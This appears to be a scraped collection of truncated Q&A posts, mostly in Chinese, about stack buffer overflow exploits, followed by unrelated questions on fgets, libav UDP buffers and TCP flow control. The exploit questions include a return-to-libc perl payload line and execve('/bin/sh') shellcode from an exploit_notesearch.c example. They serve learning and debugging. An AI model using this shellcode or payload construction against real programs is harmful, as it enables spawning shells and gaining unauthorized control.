void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;
ret = buffer1 + 12;
(*ret) += 8;//why is it 8??
}
void main() {
int x;
x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);
}
Run Code Online (Sandbox Code Playgroud)
上面的演示来自这里:
http://insecure.org/stf/smashstack.html
但它在这里不起作用:
D:\test>gcc -Wall -Wextra hw.cpp && a.exe
hw.cpp: In function `void function(int, int, int)':
hw.cpp:6: warning: unused variable 'buffer2'
hw.cpp: At global scope:
hw.cpp:4: warning: unused parameter 'a'
hw.cpp:4: warning: unused parameter 'b'
hw.cpp:4: warning: unused parameter 'c' …Run Code Online (Sandbox Code Playgroud) 我遇到了返回libc漏洞的问题.问题是没有任何事情发生,但没有分段错误(是的,我实际上是溢出堆栈).
这是我的计划:
int main(int argc, char **argv) {
char array[512];
gets(array);
}
Run Code Online (Sandbox Code Playgroud)
我使用的是gets而不是strcopy,因为我的地址以0x00开头而strcpy认为它是字符串的结尾,所以我不能使用它.
以下是我需要的地址:
$ gdb main core
(gdb) p system
$1 = {<text variable, no debug info>} 0x179680 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x16f6e0 <exit>
(gdb) x/s 0xbffffe3f
0xbffffe3f: "/bin/sh"
Run Code Online (Sandbox Code Playgroud)
输入正确的序列时,会发生这种情况:
eleanor@eleanor32:~/testing/root$ perl -e 'print "\x41"x516 . "\x80\x96\x17\x00" . "\xe0\xf6\x16\x00" . "\x3f\xfe\xff\xbf"' | ./main
eleanor@eleanor32:~/testing/root$
Run Code Online (Sandbox Code Playgroud)
所以什么都没有.
但是如果我输入520'A'(0x41),那么EIP会溢出'A'.如果有516'A',则没有任何反应,但EIP包含系统地址,在退出地址之后,在/ bin/sh指针之后.
什么都没发生?
我正在阅读这本书"剥削艺术",这本书很好,我从exploit_notesearch.c文件中查看了这个例子.
简要的作者试图从notesearch.c溢出程序
int main(int argc, char *argv[]) {
int userid, printing=1, fd;
char searchstring[100];
if(argc > 1) // If there is an arg
strcpy(searchstring, argv[1]);
else // otherwise,
searchstring[0] = 0;
Run Code Online (Sandbox Code Playgroud)
main函数的参数被复制到searchstring数组,如果参数大于100字节,它将从main函数溢出返回地址.
作者在exploit_notesearch.c中准备shellcode并调用易受攻击的notesearch.c
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200);
strcpy(command, "./notesearch \'");
buffer = command + strlen(command);
ret = (unsigned int) &i - offset; // Set return address
for(i=0; …Run Code Online (Sandbox Code Playgroud) 来自GNU C编程教程:
该
fgets("文件中获取字符串")功能类似于获取功能.这个函数已被弃用 - 这意味着它已经过时,强烈建议你不要使用它 - 因为它很危险.这很危险,因为如果输入数据包含空字符,则无法分辨.fgets除非您知道数据不能包含null,否则请勿使用.不要使用它来读取用户编辑的文件,因为如果用户插入空字符,您应该正确处理它或打印清晰的错误消息.如果可以,请始终使用getline或getdelim代替fgets.
我觉得这个fgets功能在遇到a \0或者时会停止\n; 为什么当fgets应该正确处理输入时,这个手册页建议空字节是"危险的" ?此外,之间有什么区别getline和fgets,是fgets真正视为功能过时的C99或将来的C标准?
通常我们都看到基本的缓冲区溢出格式,它具有: -
NOPs + shellcode + return_address
为什么我们不使用,
NOPs + return_address + shellcode?我们将返回地址指向shellcode的开头?
我猜这是因为如果漏洞位于main()中,我们可能会尝试在堆栈段外写入数据.我对吗?如果我,那是唯一的原因吗?
哦,是的,我不是指使用return-to-libc,ptrace等的其他类型的攻击; 我只想知道为什么最基本的缓冲区溢出攻击以第一种方式展示而不是第二种方式.
我试图为给定的易受攻击的代码执行缓冲区溢出攻击.但它似乎是错误的,因为虽然我的漏洞利用字符串不会破坏堆栈,但我无法使我的汇编代码(嵌入在漏洞利用字符串中)起作用.
这是执行我要攻击的程序的'ret'指令之前的一段内存值.
0x55683984: 0x5568398c 0x...(old r.a) 0x68e322a1 0x0000c31c
0x55683994: 0xf7fa9400 0x0804a3d7 0x556839c0 0xf7e518d0
Run Code Online (Sandbox Code Playgroud)
在这一点上,事情出错了,因为它无法弹出堆栈并使%eip指向弹出值?所以我的漏洞汇编代码不起作用.(0x68e322a1 0x0000c31c)Gdb说没有函数包含所选帧的程序计数器.当我尝试在没有调试的情况下执行它时,它会导致分段错误.
这个问题与我的装配长度有关吗?(在这种情况下是6)?
Program received signal SIGSEGV, Segmentation fault.
0x5568398c in ?? ()
(gdb) x 0x5568398c
0x5568398c: 0x68e322a1
Run Code Online (Sandbox Code Playgroud)
当我能够看到导致段错误的地址内部时,怎么会发生这种情况?
我查看了缓冲区溢出漏洞的基础知识,并尝试了解堆栈的工作原理.为此,我想编写一个简单的程序,将返回地址的地址更改为某个值.任何人都可以帮我弄清楚基本指针的大小以获得第一个参数的偏移量吗?
void foo(void)
{
char ret;
char *ptr;
ptr = &ret; //add some offset value here
*ptr = 0x00;
}
int main(int argc, char **argv)
{
foo();
return 1;
}
Run Code Online (Sandbox Code Playgroud)
生成的汇编程序代码如下所示:
.file "test.c"
.text
.globl foo
.type foo, @function
foo:
.LFB0:
.cfi_startproc
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
movq %rsp, %rbp
.cfi_def_cfa_register 6
leaq -9(%rbp), %rax
movq %rax, -8(%rbp)
movq -8(%rbp), %rax
movb $0, (%rax)
popq %rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size foo, .-foo
.globl main
.type …Run Code Online (Sandbox Code Playgroud) 我正在尝试一些安全性的东西,特别是试图理解ret2ret漏洞.我正在试验的代码:
void foo(char * val){
char buffer[64];
int i;
for (i=0; val[i]!=0; i++) buffer[i]=val[i];
return;
}
int main(int argc, char ** argv) {
foo(argv[1]);
return 0;
}
Run Code Online (Sandbox Code Playgroud)
我的测试期间,ASLR,N ^ X和堆栈金丝雀都关闭了.我用gcc编译了32位.我不知道为什么,但我无法得到通常的"0x41414141 in ??()"说我覆盖了$ eip.所以我决定使用gdb进行调试,并在函数"cop"中对ret进行断点,奇怪的是,即使在写入超过300"A"之后,堆栈也是如此:
0xbffff46c: 0xb7ee2290 0xbffff496 0xb7e8f5f5 0x41414141
0xbffff47c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff48c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff49c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff4ac: 0x41414141 0x41414141 0x41414141 0x00410043
Run Code Online (Sandbox Code Playgroud)
对应缓冲区的64个字符在这里,但其余部分没有写入...我不知道为什么?是否由于某种更新?
编辑:buff的GDB日志[64]
Dump of assembler code for function main:
0x08048415 <+0>: push %ebp
0x08048416 <+1>: mov %esp,%ebp
0x08048418 <+3>: sub $0x4,%esp
0x0804841b …Run Code Online (Sandbox Code Playgroud) 注意:我知道 ffmpeg 和 libav 是不同的库。这是双方共同的问题。
免责声明:重复的SO 问题标记为已回答但实际上没有给出正确的解决方案。
UDP 缓冲区大小不足会导致多个高分辨率视频流的流中断。在 LibAV/FFMPEG 中,可以通过向其附加一些选项 (buffer_size)来设置 udp url (udp://...) 的 udp 缓冲区大小。
但是,对于 RTSP url,这是不支持的。
这些是我找到的唯一解决方案:
这些实际上都不是解决方案。根据我的发现,应该可以使用 APIAVOptions来查找和设置此值。否则,AVDictionary。
在 libav 或 ffmpeg 的整个文档中很难找到如何设置这些。
更新:
感谢 Libav 开发人员@lu_zero,以下补丁已提交给 Libav 来解决此主题:
这应该提供有关如何实现这些的提示,但这些仍然无法通过官方稳定 API 获得。
假设我们有以下 TCP 套接字设置,客户端向服务器发送任意数据。将以下内容视为伪代码。
def client():
while True:
data = source.get_data()
client_socket.send(data)
Run Code Online (Sandbox Code Playgroud)
服务器读取数据并使用它来做一些事情......
def server():
while True:
data += socket.recv(4096)
parsed_data = parse_data(data)
cpu_intensive_task(parsed_data)
Run Code Online (Sandbox Code Playgroud)
假设客户端发送数据的速度比服务器处理的速度快得多。罐内部网络缓冲区填满?我想答案是肯定的...
如果是这样,那么 TCP 协议是否指定了在这种情况下会发生什么?这些丢弃的数据包是否被视为在传输过程中丢失并像任何其他丢失的数据包一样重新传输?
还是这些数据包真的丢失了,这是我在 TCP 之上设计自己的通信协议时必须考虑的事情?
答案是否因操作系统而异?
作为记录,上面的系统应该有某种拥塞控制机制,服务器可以使用它来告诉客户端它的负载很重,或者它又空闲了。但是,我很想知道默认情况下 TCP 在这种情况下的行为方式。